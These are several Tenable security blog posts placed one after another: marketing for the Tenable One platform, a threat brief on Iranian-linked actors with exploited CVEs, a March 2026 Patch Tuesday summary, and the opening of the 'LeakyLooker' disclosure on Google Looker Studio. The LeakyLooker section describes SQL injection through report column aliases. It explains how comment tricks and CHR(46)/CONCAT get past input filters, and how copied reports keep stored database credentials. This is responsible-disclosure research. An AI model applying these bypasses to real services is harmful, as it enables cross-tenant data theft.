For state and local government entities that operate power generation, transmission or distribution infrastructure, cyber risk doesn’t exist solely within the grid environment. IT systems supporting billing, emergency communications, identity access management and cloud based service delivery are increasingly interconnected with OT environments. For a local government, a cyber incident in the grid doesn't just impact power; it can ripple through essential public services. Tenable One provides a unified view, helping SLG leaders bridge the gap between small IT teams and complex OT systems.

The Tenable One exposure management platform provides a unified view of your entire attack surface. By combining OT-specific insights with IT, cloud, and identity data in a single view, Tenable One allows you to see beyond basic compliance—enabling you to prioritize risk across your entire infrastructure and communicate your security posture from the control room to C-suite.

Learn more:

• Download the guide to compliance with NERC CIP standards
• Register for our April 15th webinar, “NERC CIP-003-9: Addressing the April 1st Enforcement.”
• Request a personalized demo to see the power of Tenable One in action.
• Get in touch to discuss your unique IT/OT security compliance challenges.
• Explore our NERC CIP resources to learn more about securing your critical infrastructure.

Asset discovery tells you what IT exists in your environment. Exposure management tells you what will get you breached. If your platform can't connect vulnerabilities, identities, misconfigurations, and AI systems into real attack paths, you don't have exposure management. You have inventory. 

Key takeaways

1. True exposure management requires more than asset inventory. It’s about merging vulnerability management, attack path analysis, and identity security across on-prem and cloud environments to uncover toxic risk combinations and prioritize remediation.
    
2. Unlike tools focused on asset discovery that rely on limited passive listening, a leading exposure management platform uses diverse detection methods to detect deep-seated security gaps and pinpoint the most critical ones.
    
3. Seek an exposure management platform that offers a unified framework to discover approved and unapproved AI, map its complex workflows, and enforce governance policies across the entire AI lifecycle.

Unsurprisingly, the list of vendors claiming to offer exposure management platforms grows by the day. The reason? Everyone now agrees with what Tenable has known for years: An exposure management program is critical to successfully prevent and fend off modern cyber attacks, especially now, in the AI era.

Recently, vendors of cyber asset attack surface management (CAASM) and other “discovery-first” tools — which passively scan your network to build voluminous asset inventory lists — have been jumping on the exposure management bandwagon.

These vendors tend to offer broad visibility through passive network monitoring and third-party API integrations. Their approach prioritizes breadth over depth. But in cybersecurity, comprehensive visibility is table stakes. What’s crucial is pinpointing the threats that you need to fix now. 

When evaluating offerings from these vendors, ask yourself: Are you looking to build a better asset inventory, or are you trying to proactively close exposures and prevent attacks?

In this blog, we’ll explain in detail how vendors of IT asset inventory software and CAASM tools fall short of delivering the invaluable benefits of an integrated exposure management platform like Tenable One. In addition to inventorying all of your IT, OT, and cloud assets across your attack surface, Tenable One also assesses them for vulnerabilities, misconfigurations, and excess permissions, maps these exposures into attack paths, then prioritizes them for remediation based on exploitability and impact.

1. Authoritative data vs. incomplete assumptions

Knowing a device exists is just the beginning. Visibility alone isn’t security.

Vendors of IT asset-inventory software often rely only or primarily on passive network monitoring and on third-party data collected via APIs. And they make this weakness sound appealing: no agents to manage and no need to “touch” the devices — just listening to traffic. 

However, passive monitoring has a fundamental flaw: It relies on devices “talking” to be detected. If a device is silent or “talks” infrequently, it stays in the shadows of your network. 

In addition, the data collected through passive monitoring is often superficial, especially if network traffic is encrypted and if the monitoring tool is not capturing full network packets. It might show you that a laptop exists, but it can’t tell you what software is running on it or what security issues put it at risk?

Passive discovery also misses entire categories of vulnerabilities, like outdated dynamic link libraries (DLLs), compromised registry keys, and risky misconfigurations that only an active scanner or agent can find.

Moreover, passive monitoring tools are often victims of the data provided by third-party APIs. If the source data is truncated or inaccurate, these tools just give you noise: a high quantity of low-quality data.

Tenable One doesn’t “guess” based on network traffic or metadata. It uses a combination of methods for collecting rich asset and exposure data: agents, active scanners, passive listening, API integrations and insights from our world-class security research team to give you a 360-degree view of your assets and of their security weaknesses — on prem and in the cloud. Our robust exposure data fabric maps relationships across 1.5 billion assets, 150 billion threat artifacts, and 1.4 billion security configurations.

In short, we don’t just aggregate comprehensive first-party and third-party data. We normalize, correlate, analyze, contextualize, and prioritize this data, turning it into a continuously updated, single source of truth for your risk exposure.

2. The frontier of risk: Securing the AI attack surface

As organizations race to adopt AI, security teams are finding that their traditional security tools fall short at managing and monitoring AI security risks, including data leaks and new vulnerabilities, and detecting new types of threats, like direct and indirect prompt injection.

In particular, Cyber Asset Attack Surface Management (CAASM) tools generally do not detect the presence of AI tools, AI agents, or AI plugins natively, and instead rely entirely on third-party integrations - such as AI-SPM findings from another vendor — to surface this visibility. 

But even when they ingest this data about the presence of AI systems, they stop there. Knowing that an employee is using ChatGPT or that an engineer has deployed a large language model (LLM) is just the first step. It’s critical to understand:

1. How employees are using AI (e.g., their prompts and queries, including potentially sensitive data they’re disclosing or uploading via their prompts)
2. Where AI workloads, agents, and tools are running (e.g., on premises, in the cloud, in browser plugins, developer libraries, and embedded in employee productivity tools and Saas platforms)
3. How internal AI tools (including agents) are configured, including the systems and data they can access
4. How AI exposure accumulates across interconnected systems

Tenable One provides a unified framework to discover, understand, protect, and govern the entire AI attack surface, making it as effective an AI security tool as it is an exposure management platform. Unlike competitors that treat AI as just another asset in a list, Tenable One pinpoints the unique risks that AI adoption creates.

Tenable One transforms AI from a blind spot into a managed asset through four critical pillars:

• Continuous discovery of your AI footprint - You cannot manage risk if you don’t know where AI exists. Tenable One continuously discovers AI usage, whether approved or unapproved, across internal environments and the external attack surface. Unlike tools that only see approved, Tenable One identifies shadow AI across applications, endpoints, cloud workloads, APIs, and agents, and it can tell you when employees may be abusing approved AI tools.

• Deep contextual understanding - AI risk typically emerges from interactions among systems. For example: An employee uses an approved third-party AI tool that relies on an internal AI agent to access company data. In turn, this agent, which has broad access to sensitive systems, gets exposed by a forgotten endpoint.

  Tenable One helps you surface these risky scenarios. It maps AI workflows across cloud platforms, revealing how models, infrastructure, storage, and networking work together. By connecting AI infrastructure with identity and access paths, we show you where exposure is actually created and helps you do something about it.

• Proactive workload and access protection - Reducing AI risk means closing the exposures — the vulnerabilities, misconfigurations, and identity weaknesses — attackers exploit. Tenable One identifies and remediates risky configurations in AI workloads and surfaces excessive permissions and identity weaknesses tied to AI services, enabling teams to enforce least-privilege access.
• Integrated AI governance and compliance - Visibility is not governance. Tenable One provides the controls to enforce AI acceptable use policies and monitor compliance against emerging standards. By providing executive-level reporting on AI exposure, we empower organizations to embrace AI and allow security leaders to demonstrate they’re proactively managing AI security risks.

By integrating AI risks into the Tenable One exposure data fabric, Tenable One correlates them alongside your existing identity, cloud, and vulnerability data so you can see how weaknesses across your attack surface combine to create high-impact attack paths leading to your most sensitive systems and data. 

3. Seeing the unseen: Attack path analysis

A list of vulnerable devices is just a list. To truly protect your organization, you must understand the relationships among those devices.

Many inventory-focused competitors lack native attack path analysis (APA). They might tell you a web server is vulnerable, but they can’t show you that this specific server has a cached credential that unlocks access to a database where confidential customer data is stored. Tenable One can. 

Tenable One maps technical and business relationships across your entire attack surface into attack paths. In other words, it gives you technical context (e.g., whether an asset is exposed to the internet, has an exploitable vulnerability, and isn’t protected with multi-factor authentication) and business context (e.g., the asset supports a critical business process or contains sensitive data). And it shows you how threat actors can combine vulnerabilities, misconfigurations, and identity weaknesses into high-risk attack paths leading to your organization’s most sensitive data and systems.

Another benefit of attack path analysis is that you can focus on addressing a handful of choke points – critical, high-priority nodes creating multiple pathways to sensitive assets – to dramatically scale risk-reduction effectiveness. Prioritizing choke points allows remediation teams to fix one exposure to break numerous potential attack vectors simultaneously by understanding privilege escalation and lateral movement techniques. 

4. Compliance is not an “add-on”

For organizations in regulated industries, “visibility” isn't enough to satisfy an auditor. If your tool lacks native compliance checks for government regulations and industry mandates, you are left with a massive manual workload.

In particular, many CAASM tools and IT asset-inventory software cannot ingest compliance data or report against specific industry benchmarks and regulatory frameworks.

With Tenable One, the story is much different. You get:

• Customized benchmarks and dashboards to deliver continuous reporting based on your unique organizational requirements
• Audit-ready reporting to help avoid fines and support compliance and regulatory requirements
• Native configuration auditing that goes beyond simple software versions to ensure systems are hardened according to industry standards
• Comprehensive risk metrics aligned to organizational structure to help you understand exposure, track risk trends over time, and benchmark metrics against industry peers.

5. Risk scoring built on research, not just ticket routing

Many IT asset-inventory software tools prioritize “risk” based on one-dimensional criteria and ticket-routing data, and they highlight their mobilization and workflow capabilities. However, these features deliver little value because these vendors lack precise, comprehensive exposure data.

In other words, they can tell you who owns an asset but not whether the asset’s security weaknesses are exploitable. Without deep risk context and precise prioritization, it does you little good to have a streamlined remediation process, because you’ll be fixing exposures that pose minor threats and overlooking those that put your organization at great danger.

By contrast, Tenable’s Vulnerability Priority Rating (VPR) is backed by over a decade of maturity and more than 150 daily data points. It doesn’t just tell you a vulnerability exists; it uses world-class threat intelligence powered by AI to help you focus on the real threats that matter most to your organization and predict future risks. Once you’re clear on the exposures you need to fix right away, Tenable One helps you automate your remediation efforts so you stay ahead of attackers.

Comparison at a glance: Tenable One vs. IT asset-inventory software competitorsFeatureIT asset-inventory software competitorsTenable OneAssessment methodShallow: Primarily passive/API-basedDeep: Active scanners, agents, APIs, and passive network listeningVulnerability dataThird-party/truncated telemetryAggregation, correlation and deep analysis of both first-party and third-party asset dataAttack path analysisNon-existent or manual mappingNative, automated relationship mappingIdentity riskRarely integratedCore component of the platformExposure prioritizationAggregated risk findings onlyComprehensive context that combines asset criticality, risk severity, identity privileges, toxic risk combinations and attack path analysis to understand true exposureComplianceTactical findings onlyComprehensive, framework-specific coverageReportingAsset-centric/tacticalBoard-ready Executive Exposure CardsAI visibility and riskLists “AI Apps” as inventory items; lacks depth on usage or model security.Full AI security lifecycle: discovery, understanding, protection and governanceGet genuine exposure management

Finding an asset and opening a ticket doesn’t translate into proactive and preemptive risk reduction. If your goal is simply to count the number of devices on your network, a discovery tool might suffice. 

But if you want to continuously reduce the probability of a breach, you need an exposure management platform built on three key pillars: 

• Total attack surface intelligence - Deep, comprehensive vulnerability and exposure data into every asset, spanning cloud instances, AI platforms, OT/IoT systems, on-prem data centers, and more
• Clear, precise exposure prioritization - A transparent method for ranking risks based on actual exploitability
• Actionable remediation - Direct guidance on how to close security gaps effectively

A legitimate platform provides a seamless, end-to-end workflow, integrating advanced vulnerability and exposure intelligence, AI-driven prioritization, patch management, and response validation.

To compile a full inventory of assets and their exposures, the platform must employ multiple detection techniques, including active scanning, passive network monitoring, and agent-based telemetry. Equally important, it must provide multidimensional context on how assets relate to and impact each other.

True risk reduction is only possible when you have a single, unified view of all your assets and their security issues. Then you can reap exposure management’s core value: preemptive risk reduction.

An industry-leading exposure management platform unifies data from across the modern attack surface – vulnerabilities, cloud, web apps, AI systems, OT/IoT devices, identity systems – to reveal the hidden attack paths that threaten your business. 

Get a demo of the Tenable One Exposure Management Platform and see the difference for yourself. 

In the wake of Operation Epic Fury, digital attacks have shifted from quiet espionage to a loud, coordinated campaign of economic and physical retaliation. In response, the Tenable Research Special Operations (RSO) team is examining the latest threats and cyber operations linked to Iranian threat actors.

Key takeaways:

1. Following the military operations of Operation Epic Fury, Iranian-linked actors have moved beyond quiet intelligence gathering to a coordinated, hybrid offensive and actively engaging in disruptive and destructive campaigns targeting critical infrastructure and other sectors.
    
2. MOIS-affiliated actors are increasingly operating under the veil of cybercriminal infrastructure to complicate attribution.
    
3. A significant increase in the targeting of IP cameras by Iranian-nexus actors has been observed using known and exploitable vulnerabilities.

Change log

Update March 12: The Analysis section of this blog was updated to add information about targeting of companies in the technology industry.

Click here to review the change history

March 12:The Analysis section of this blog was updated to add information about targeting of companies in the technology industry.
 

Background

Following the February 28 military operations conducted by the United States and Israel known as Operation Epic Fury, Tenable’s RSO team released a blog post examining Iranian-linked threat actors and their operational focus. As ongoing kinetic strikes have continued to target Iranian leadership and infrastructure, Iranian threat actor activity has surged into a coordinated, hybrid offensive targeting Western, Israeli and regional economic and critical infrastructure.

Analysis

Recently Ministry of Intelligence and Security (MOIS) affiliated groups have significantly escalated their operations, shifting from espionage to disruptive and destructive campaigns. MuddyWater and the Void Manticore persona known as Handala are two groups which have seen an increased level of malicious activity surrounding the recent military operations in Iran.

From silt to strike: How MuddyWater weaponized pre-positioned access

MuddyWater, also known as Seedworm and additional aliases, is a MOIS affiliated actor known for targeting telecommunications and government organizations. The group is well known for gaining initial access to victim networks, often acting as an initial-access broker. Recent reporting indicates that the group infiltrated U.S. and Israeli infrastructure weeks prior to the military operations conducted as part of Operation Epic Fury. According to Symantec, a U.S bank, software company, airport and non-government organizations in both the U.S. and Canada were targeted. These attacks uncovered a previously unknown backdoor known as Dindoor, and a Python backdoor known as Fakeset.

Additional targeting by MuddyWater includes a campaign tracked by Group-IB known as Operation Olalampo. The campaign observed in late January included targeting across the Middle East and North Africa (MENA) region, where multiple malware variants attributed to MuddyWater were identified. This included the use of a Telegram bot used as a command and control (C2) channel.

The Handala hand-off: From silent espionage to wiping the slate clean

The Void Manticore persona known as Handala specializes in destructive attacks, often wiping data from compromised hosts. They frequently collaborate with initial access brokers (IAB) in a tag-team approach, taking control of victim networks to deploy custom wipers like the BiBi Wiper and Cl Wiper after the IAB group has exfiltrated data from the victim.

On March 11, Handala posted to Telegram, claiming an attack on the global medical technology company Stryker. The group claims to have erased data on more than 200,000 systems, including mobile devices. While a root-cause is unknown, reports suggest that the wipe attack on the mobile devices may have been the result of compromising Stryker’s Microsoft Intune instance. Handala also claims to have stolen 50 terabytes of data and defaced Microsoft Entra login pages with their logo as part of their attack on Stryker.

Despite widespread internet blackouts at the onset of the initial strikes in February, Handala has been observed using Starlink IP ranges in order to bypass Iran's internet blackout and allowing them to maintain C2 infrastructure.

State intent, criminal consent: Analyzing the MOIS-Cyber crime alliances

Recent reporting from Check Point points to Iran-linked actors engaging with and operating under the veil of other cyber criminals. In one instance, MuddyWater was likely using the infrastructure provided by Qilin, the well known ransomware-as-a-service (RaaS) operator, in order to conduct attacks targeting Israeli hospitals. Using cyber crime and hacktivism as cover for destructive activity gives the attackers a layer of cover and plausible deniability. Attribution of attacks has always been tricky to pinpoint, but these tactics and reliance on criminal infrastructure make attribution even more difficult, providing greater chances of anonymity in their attacks.

Industries targeted and likely to be targeted

Following a missile strike on Bank Sepah, one of the largest public banks in Iran, an Iranian spokesperson warned that U.S. and Israeli financial institutions would be targeted in response. While it’s unclear whether these will be kinetic or digital attacks, the financial sector is just one of many industries that are likely to see targeting. Industries known to have been targeted or likely to be at elevated risk include:

• Aviation
• Transportation
• Finance
• Healthcare
• Defense
• Government
• Critical Infrastructure (Energy/Utilities/Water & Wastewater)
• Telecommunications

While warnings of attacks targeting critical infrastructure and attacks against supervisory control and data acquisition (SCADA) and industrial control systems (ICS) systems are of great concern to Western countries, it’s unclear what pre-positioning or successful attacks can be attributed to Iranian-nexus actors.

Recently, the pro-Russia hacktivist group Z-Pentest claimed to have compromised several SCADA and ICS systems of U.S. based organizations as well as CCTV networks. However, these claims have not been verified. Despite this, collaboration or hacktivism in support of Iran by threat actors is a concern.

Iran has also stated that U.S. technology companies are in the crosshairs. Their threats included offices and infrastructure for Google, Microsoft, IBM, Oracle among others. While the threats may be digital or kinetic, attacks on cloud-provider infrastructure can have down stream impacts as was observed when data centers in the Gulf were struck, leading to a recent Amazon Web Services (AWS) outage in the region.

With the threat of increased cyberattacks from Iranian state-sponsored actors, hacktivists and cybercriminal groups targeting critical infrastructure, the Information Technology-Information Sharing and Analysis Center (IT-SAC) published a joint advisory outlining various groups, their operations and recommendations for defensives measures. We recommend reviewing this advisory and taking proactive steps to reduce your threat from these actors.

Focusing on flaws: The surge in Hikvision and Dahua exploitation

In connection with the ongoing military campaign, Check Point has identified an increase in IP camera targeting, including devices from Hikvision and Dahua. The attack infrastructure was assessed to be linked to Iran-nexus actors and activity appears to have increased during various geopolitical events. While it’s unclear if the camera targeting is to observe targets for kinetic attacks or to make observations after a strike, the timing and compromise of these devices should be of concern to any organization who may be affected by the following vulnerabilities:

CVEDescriptionCVSSv3VPR*CVE-2017-7921Hikvision IP Camera Improper Authentication Vulnerability109.2CVE-2021-33044Dahua Authentication Bypass Vulnerability9.87.4CVE-2021-36260Hikvision IP Camera Command Injection Vulnerability9.89.7CVE-2023-6895Hikvision Intercom Broadcasting System Command Injection Vulnerability9.86.7CVE-2025-34067Hikvision Integrated Security Management Platform Command Execution Vulnerability9.86.7

*Please note: Tenable’s Vulnerability Priority Rating (VPR) scores are calculated nightly. This blog post was published on March 11, 2026 and reflects VPR at that time.

Of these five vulnerabilities, three of them have been added to the Cybersecurity and Infrastructure Security Agency (CISA) Known Exploited Vulnerabilities (KEV) Catalog. At the time this blog was published, CVE-2023-6895 and CVE-2025-34067 were not yet part of the KEV.

Additional CVEs that have been widely exploited and have also been attributed to Iranian-nexus threat actors include:

CVEDescriptionCVSSv3VPR*CVE-2017-11882Microsoft Office Memory Corruption Vulnerability7.89.8CVE-2020-0688Microsoft Exchange Server Validation Key Remote Code Execution Vulnerability8.89.5

 

 

Additionally, you can review our previous blog posts on Iranian threat actors for other CVEs that have been attributed to Iran-nexus threat actors:

• Frequently Asked Questions About Iranian Cyber Operations
• Operation Epic Fury: Potential Iranian Cyber Counteroffensive Operations
• Group-IB blog: Operation Olalampo: Inside MuddyWater’s Latest Campaign

Identifying affected systems

A list of Tenable plugins for this vulnerability can be found on the individual CVE pages for CVE-2017-11882, CVE-2017-7921, CVE-2020-0688, CVE-2021-33044, CVE-2021-36260, CVE-2023-6895 and CVE-2025-34067 as they’re released. This link will display all available plugins for these vulnerabilities, including upcoming plugins in our Plugins Pipeline.

Get more information

• Tenable Blog: Operation Epic Fury: Potential Iranian Cyber Counteroffensive Operations
• Symantec Blog: Seedworm: Iranian APT on Networks of U.S. Bank, Airport, Software Company
• Iran-Backed Hackers Claim Wiper Attack on Medtech Firm Stryker
• Check Point Blog: Iranian MOIS Actors & the Cyber Crime Connection
• Check Point Blog: Interplay between Iranian Targeting of IP Cameras and Physical Warfare in the Middle East
•  

Join Tenable's Research Special Operations (RSO) Team on Tenable Connect for further discussions on the latest cyber threats.

Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

1. 8Critical
2. 75Important
3. 0Moderate
4. 0Low

Microsoft addresses 83 CVEs including two vulnerabilities that were publicly disclosed prior to a patch being released.

Microsoft patched 83 CVEs in its March 2026 Patch Tuesday release, with eight rated critical and 75 rated as important. Our counts omitted one CVE (CVE-2026-26030) assigned by GitHub.

This month’s update includes patches for:

• .NET
• ASP.NET Core
• Active Directory Domain Services
• Azure Arc
• Azure Compute Gallery
• Azure Entra ID
• Azure IoT Explorer
• Azure Linux Virtual Machines
• Azure MCP Server
• Azure Portal Windows Admin Center
• Azure Windows Virtual Machine Agent
• Broadcast DVR
• Connected Devices Platform Service (Cdpsvc)
• Microsoft Authenticator
• Microsoft Brokering File System
• Microsoft Devices Pricing Program
• Microsoft Graphics Component
• Microsoft Office
• Microsoft Office Excel
• Microsoft Office SharePoint
• Payment Orchestrator Service
• Push Message Routing Service
• Role: Windows Hyper-V
• SQL Server
• System Center Operations Manager
• Windows Accessibility Infrastructure (ATBroker.exe)
• Windows Ancillary Function Driver for WinSock
• Windows App Installer
• Windows Authentication Methods
• Windows Bluetooth RFCOM Protocol Driver
• Windows DWM Core Library
• Windows Device Association Service
• Windows Extensible File Allocation
• Windows File Server
• Windows GDI
• Windows GDI+
• Windows Kerberos
• Windows Kernel
• Windows MapUrlToZone
• Windows Mobile Broadband
• Windows NTFS
• Windows Performance Counters
• Windows Print Spooler Components
• Windows Projected File System
• Windows Resilient File System (ReFS)
• Windows Routing and Remote Access Service (RRAS)
• Windows SMB Server
• Windows Shell Link Processing
• Windows System Image Manager
• Windows Telephony Service
• Windows Universal Disk Format File System Driver (UDFS)
• Windows Win32K
• Winlogon

Elevation of privilege (EoP) vulnerabilities accounted for 55.4% of the vulnerabilities patched this month, followed by remote code execution (RCE)vulnerabilities at 20.5%.

ImportantCVE-2026-21262, CVE-2026-26115 and CVE-2026-26116 | SQL Server Elevation of Privilege Vulnerability

CVE-2026-21262, CVE-2026-26115 and CVE-2026-26116 are EoP vulnerabilities affecting Microsoft SQL Server. Each of these flaws received a CVSSv3 score of 8.8 and were rated as important. While each of these were assessed as “Exploitation Less Likely” according to Microsoft’s Exploitability Index, CVE-2026-21262 was publicly disclosed as a zero-day. While no exploitation has been reported by Microsoft, a successful exploit of any one of these three flaws would result in an attacker gaining SQL sysadmin privileges.

ImportantCVE-2026-26127 |.NET Denial of Service Vulnerability

CVE-2026-26127 is a denial of service (DoS) vulnerability affecting.NET 9.0 and 10.0 on Windows, Mac OS and Linux. It received a CVSSv3 score of 7.5 and was rated as important. According to Microsoft, this vulnerability was publicly disclosed prior to patches being made available. Although it was publicly disclosed, Microsoft assesses that exploitation is unlikely for this DoS vulnerability.

.NET updates this month also include patches to address CVE-2026-26131, an important severity EoP vulnerability for.NET 10 installations on Linux.

ImportantCVE-2026-24287, CVE-2026-24289 and CVE-2026-26132 | Windows Kernel Elevation of Privilege Vulnerability

CVE-2026-24287, CVE-2026-24289 and CVE-2026-26132 are EoP vulnerabilities in the Windows Kernel. Each was assigned CVSSv3 scores of 7.8 and rated important. A local, authenticated attacker could exploit these vulnerabilities in order to gain SYSTEM privileges. While Microsoft reports no evidence of exploitation, it did assess CVE-2026-24289 and CVE-2026-26132 as “Exploitation More Likely.” Including these three CVEs, six EoPs affecting Windows Kernel have been patched so far in 2026.

ImportantCVE-2026-26118 | Azure MCP Server Tools Elevation of Privilege Vulnerability

CVE-2026-26118 is an EoP vulnerability in Azure Model Context Protocol (MCP) Server. An attacker could exploit this vulnerability by sending a crafted input to a vulnerable Azure MCP Server that accepts user-provided parameters. Successful exploitation would grant an attacker to elevate privileges using an obtained managed identity token.

MCP, an open standard introduced in 2024 by Anthropic, is used to allow large language models (LLMs) to connect to external data and tools. For more information on MCP, please check out our FAQ blog on Model Context Protocol (MCP) and Integrating with AI for Agentic Applications as well Tenable Research’s AI Security blog examining web flaws in MCP servers.

CriticalCVE-2026-26110 and CVE-2026-26113 | Microsoft Office Remote Code Execution Vulnerability

CVE-2026-26110 and CVE-2026-26113 are RCE vulnerabilities affecting Microsoft Office. Both received CVSSv3 scores of 8.4 and were rated as critical. A local, unauthenticated attacker could exploit these vulnerabilities to achieve local code execution. Microsoft notes that the preview pane is an attack vector for these flaws and both CVEs were assessed as “Exploitation Less Likely.”

Tenable Solutions

A list of all the plugins released for Microsoft’s March 2026 Patch Tuesday update can be found here. As always, we recommend patching systems as soon as possible and regularly scanning your environment to identify those systems yet to be patched.

For more specific guidance on best practices for vulnerability assessments, please refer to our blog post on How to Perform Efficient Vulnerability Assessments with Tenable.

Get more information

• Microsoft's March 2026 Security Updates
• Tenable plugins for Microsoft March 2026 Patch Tuesday Security Updates

Join Tenable's Research Special Operations (RSO) Team on Tenable Connect for further discussions on the latest cyber threats.

Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

Tenable Research revealed "LeakyLooker," a set of nine novel cross-tenant vulnerabilities in Google Looker Studio. These flaws could have let attackers exfiltrate or modify data across Google services like BigQuery and Google Sheets. Google has since remediated all identified issues.

Key takeaways

• Nine novel vulnerabilities: The vulnerabilities allowed attackers to run arbitrary SQL queries on victims’ databases and exfiltrate sensitive data with 0-click and 1-click attacks.

1. Cross Tenant Unauthorized Access - Zero-Click SQL Injection on Database Connectors - TRA-2025-28
2. Cross Tenant Unauthorized Access - Zero-Click SQL Injection Through Stored Credentials - TRA-2025-29
3. Cross Tenant SQL Injection on BigQuery Through Native Functions - TRA-2025-27
4. Cross Tenant Data Sources Leak With Hyperlinks - TRA-2025-40
5. Cross Tenant SQL injection on Spanner and BigQuery Through Custom Queries on a Victim’s Data Source - TRA-2025-38
6. Cross Tenant SQL Injection on BigQuery and Spanner Through the Linking API - TRA-2025-37
7. Cross Tenant Data Sources Leak With Image Rendering - TRA-2025-30
8. Cross Tenant XS Leak on Arbitrary Data Sources With Frame Counting and Timing Oracles - TRA-2025-31
9. Cross Tenant Denial of Wallet Through BigQuery - TRA-2025-41

• Cross-tenant data exposure: Attackers could gain access to entire datasets and projects across different cloud "tenants" (different companies).
• Patched: Google has patched the vulnerabilities following a responsible disclosure by Tenable.

We discovered and disclosed nine novel cross-tenant vulnerabilities in Google Looker Studio (formerly Data Studio). Dubbed "LeakyLooker", the vulnerabilities broke fundamental design assumptions, revealed a new attack class, and could have allowed attackers to exfiltrate, insert, and delete data in victims’ services and Google Cloud environment.

These vulnerabilities exposed sensitive data across Google Cloud Platform (GCP) environments, potentially affecting any organization using Google Sheets, BigQuery, Spanner, PostgreSQL, MySQL, Cloud Storage, and almost any other Looker Studio data connector. All issues have been remediated by Google following Tenable’s reports.

We will demonstrate how Looker Studio’s deep integration with these GCP services along with other platforms created a huge attack surface and novel vulnerabilities.

The vulnerabilities demonstrate a new attack surface that can be abused by attackers in cloud environments and vendors should be aware of.

We often see business intelligence (BI) platforms as polished mirrors reflecting an organization’s data in beautiful, actionable charts. 

However, our latest research into the internals of Looker Studio led to the discovery of the "LeakyLooker" vulnerabilities, which broke the fundamental promise of a BI platform: that a "viewer" should never be able to control, modify nor exfiltrate the data they are viewing.

What is Looker Studio?

Looker Studio is a cloud-based BI and data visualization platform that allows users to turn raw data into interactive, shareable reports. By connecting to various sources, such as Google Analytics, BigQuery, or SQL databases, it enables teams to build reports that update in real-time, making complex datasets easy to interpret through charts and tables. Because it is built on the Google Cloud infrastructure, it relies heavily on a permission-sharing model similar to Google Docs, where reports can be viewed or edited based on specific user credentials or public links.
 

An example of a Looker Studio report 

 

Looker Studio’s interesting service architectureOwner vs. viewer credentials

To understand why these vulnerabilities are so critical, we first have to look at how Looker Studio handles "trust." When you connect a database to a report, you have to decide whose identity the report should use to access the connected data source. For example: Who is querying the attached database?

Looker Studio offers two credential models:

1. Owner credentials

The report uses the owner’s permissions to fetch data, regardless of who is looking at it.

It allows you to share a report with people who don't have direct access to your data source, such as sharing a sales report with a client who doesn't have access to your sales database.

In this flow, the data is fetched via the owner's authentication token.

2. Viewer credentials

The report uses the Viewer’s own permissions to fetch data.

It’s the most secure way to ensure people only see what they are allowed to see. If a Viewer doesn't have access to the underlying database, the report’s data source will show an error when trying to load.

Each viewer must provide their own authentication token to see the data.

Breaking the trust

The core of this research was the realization that these two paths create two very different "trust boundaries" that can be attacked independently. The goal was to break the platform by isolating these mechanisms:

• Targeting viewer credentials (The 1-click path): We looked for ways to manipulate a report so that it forces a viewer to unknowingly execute a query or manipulate data they do have permission for, and optionally send the results to the attacker. Because this requires the victim to interact with a malicious link, it's classified as a 1-click attack. It exploits the victim's own access level.
• Targeting owner credentials (The 0-click path): This is where the real "architectural flaw" lies. We realized that if we could talk directly to the backend of a report set to owner credentials, we could act as the report’s owner. By sending a crafted request to a public report or a shared report, the attacker triggers the Looker Studio service to fetch or manipulate data using the owner’s identity. Because this happens entirely on the server side without needing a victim to click anything, it becomes a 0-click exploit that can, as an example, drain entire datasets.

From a security researcher's perspective, the breakthrough lies in decoupling the platform's two primary authentication mechanisms to expose two distinct, high-impact attack paths. This is done by isolating how the Looker Studio handles Viewer versus Owner credentials.

Looker Studio connectors

Looker Studio acts as the visualization layer for vast amounts of enterprise data. To function, it uses "connectors" to bridge the gap between the report and the underlying data source (like BigQuery or Cloud SQL).

The "live data" trap

Looker Studio’s greatest feature, and its architectural Achilles' heel is live data.

Unlike static reports, Looker Studio reports are designed to be dynamic. As an example, when a sale is completed and the transaction is reflected in the underlying database, the chart should update the moment a user refreshes their browser. To achieve this magic, Looker Studio acts as a live proxy.

As an example on a BigQuery data source: When a user opens a report, their browser sends a request to Looker Studio, which then translates that request into a SQL query and sends it to the backend database in real-time.

Breaking the owner’s credentials with 0-click vulnerabilitiesVulnerability #1: The Alias Injection (Cross-tenant unauthorized access - 0-click SQL injection on database connectors)

We ran our proof of concept (POC) on a BigQuery connector, but this vulnerability also affects other database connectors such as Spanner.

Our investigation began by observing the network traffic during a report load. We saw a specific HTTP request called batchedDataV2.

As we poked at the JSON body of this request, we noticed something suspicious: Looker Studio generates unique aliases for every column, such as qt_1spiqerwsd.

This is the pitfall. The backend was taking these user-controlled strings and concatenating them directly into a live SQL statement that is actually a BigQuery job: SELECT column AS [USER_CONTROLLED_ALIAS] FROM table...

We realized that if we could "break out" of the alias string, we could hijack the entire query. However, Google had built some mitigations against these attempts. If we tried to use a dot (.) to reach another Big Query project (victimsproject.dataset.table), the system swapped it for an underscore (_). If we used a space, it was stripped.

We bypassed these by abusing some SQL quirks:

• The "no spaces" problem: We bypassed this using SQL comments /**/. The SQL engine treats comments as whitespace, and the "space-stripping" filter ignores them.
• The "no dots" problem: We used BigQuery’s own SQL-scripting capabilities. By using CHR(46) (the ASCII code for a dot) and CONCAT(), we built the project paths in execution after the filter had already looked at our input.

The payload: 0-click execution:
 

The payload can be viewed in the Appendix.

Our injection point starts from the string “hey”. We could now run arbitrary SQL queries across the owner's entire GCP project, all triggered by a victim simply having a public Looker Studio report with a vulnerable database data source or by sharing it with the attacker beforehand.

The injection looks like the following in the resulting BigQuery job. We highlighted it for the readers' convenience:
 

Attackers could search for public Looker Studio reports or alternatively have access to private ones that use these connectors, and fully hijack full databases of report owners - read, write, update, and delete.

A POC of a full data exfiltration method is demonstrated in Vulnerability #3 in this blog.

Vulnerability #2: The Sticky Credential (Cross-tenant unauthorized access - 0-click SQL injection through stored credentials)

The second discovery was a fundamental logic flaw in how Looker Studio handles its "Copy Report" feature.
 

The "what if" question

We asked: “What happens when a viewer, who should have zero access to tamper with the report’s data source or credentials, clones a report that uses the owner’s credentials mode on its data sources?”

To use a JDBC-based data source, such as PostgreSQL or MySQL, a user inputs credentials to the data source to attach it to their report. For example: database URL, username, and password.

When you copy a report, the attached data source is cloned and created in the new copy:
 

Remarkably, we found that for these kinds of JDBC data sources, the cloned data source kept its credentials when being copied to the new report. The issue here is that when copying a report, the user who copied it is now the owner of the new report copy, and while being an owner of a report, the user can access features they could not as a viewer. One of these features is managing the report’s data source:
 

And running custom queries against it! We ran a table creation query for a POC:
 

The payload can be viewed in the Appendix.

